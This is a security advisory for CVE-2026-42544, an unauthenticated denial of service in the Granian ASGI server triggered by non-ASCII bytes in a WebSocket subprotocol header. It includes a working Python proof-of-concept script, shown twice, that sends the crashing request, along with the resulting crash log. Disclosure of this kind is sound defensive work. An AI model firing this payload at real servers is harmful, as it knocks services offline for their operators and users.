GHSA-VRG7-482J-P6F6

Vulnerability from github – Published: 2026-05-06 21:20 – Updated: 2026-05-13 16:41
VLAI
Summary
Granian vulnerable to unauthenticated DoS via WebSocket subprotocol header panic
Details

Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.

In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC

Step 1.

starts a Granian ASGI server

# app.py
async def app(scope, receive, send):
    if scope["type"] == "websocket":
        await receive()
        await send({"type": "websocket.accept"})
        return

    await send({"type": "http.response.start", "status": 200, "headers": []})
    await send({"type": "http.response.body", "body": b"ok"})

granian --interface asgi app:app --host 127.0.0.1 --port 8000

Step 2.

sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.

# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
    f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.create_connection((host, port), timeout=5) as s:
    s.sendall(req)
    print(s.recv(4096))

python ws-subproto-crash.py 127.0.0.1 8000 /

Observed server output:

thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian

Impact

  • Unauthenticated remote denial of service
  • One crafted request kills one worker
  • The application is never reached, so application-level authentication or routing does not mitigate the issue
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "granian"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.2.0"
            },
            {
              "fixed": "2.7.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42544"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-248",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T21:20:48Z",
    "nvd_published_at": "2026-05-12T22:16:34Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nGranian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose `Sec-WebSocket-Protocol` header contains non-ASCII bytes.\n\nThe crash happens in Granian\u0027s WebSocket scope construction path, before the ASGI application is invoked.\n\nThis is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.\n\n### Details\n\nhttps://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125\n\n`HeaderValue::to_str()` returns `Err` for bytes outside visible ASCII. The subsequent `.unwrap()` panics.\n\nIn release builds Granian sets `panic = \"abort\"`, so this panic terminates the worker instead of being handled as a normal request error.\n\n\n### PoC\n\n#### Step 1.\nstarts a Granian ASGI server\n\n```python\n# app.py\nasync def app(scope, receive, send):\n    if scope[\"type\"] == \"websocket\":\n        await receive()\n        await send({\"type\": \"websocket.accept\"})\n        return\n\n    await send({\"type\": \"http.response.start\", \"status\": 200, \"headers\": []})\n    await send({\"type\": \"http.response.body\", \"body\": b\"ok\"})\n```\n\n```bash\ngranian --interface asgi app:app --host 127.0.0.1 --port 8000\n```\n\n#### Step 2.\nsending a raw upgrade request with `Sec-WebSocket-Protocol: \\x80\\xff` reached this code path and caused the worker to abort.\n\n```python\n# ws-subproto-crash.py\nimport base64, os, socket, sys\n\nhost, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]\nkey = base64.b64encode(os.urandom(16)).decode()\n\nreq = (\n    f\"GET {path} HTTP/1.1\\r\\nHost: {host}:{port}\\r\\n\"\n    \"Upgrade: websocket\\r\\nConnection: Upgrade\\r\\n\"\n    f\"Sec-WebSocket-Key: {key}\\r\\nSec-WebSocket-Version: 13\\r\\n\"\n).encode() + b\"Sec-WebSocket-Protocol: \\x80\\xff\\r\\n\\r\\n\"\n\nwith socket.create_connection((host, port), timeout=5) as s:\n    s.sendall(req)\n    print(s.recv(4096))\n```\n```bash\npython ws-subproto-crash.py 127.0.0.1 8000 /\n```\n\n\nObserved server output:\n\n```\nthread \u0027\u003cunnamed\u003e\u0027 panicked at src/asgi/utils.rs:125:44:\ncalled `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }\n[ERROR] Unexpected exit from worker-1\n[INFO] Shutting down granian\n```\n\n\n### Impact\n\n- Unauthenticated remote denial of service\n- One crafted request kills one worker\n- The application is never reached, so application-level authentication or routing does not mitigate the issue",
  "id": "GHSA-vrg7-482j-p6f6",
  "modified": "2026-05-13T16:41:24Z",
  "published": "2026-05-06T21:20:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/emmett-framework/granian/security/advisories/GHSA-vrg7-482j-p6f6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42544"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/emmett-framework/granian"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Granian vulnerable to unauthenticated DoS via WebSocket subprotocol header panic"
}



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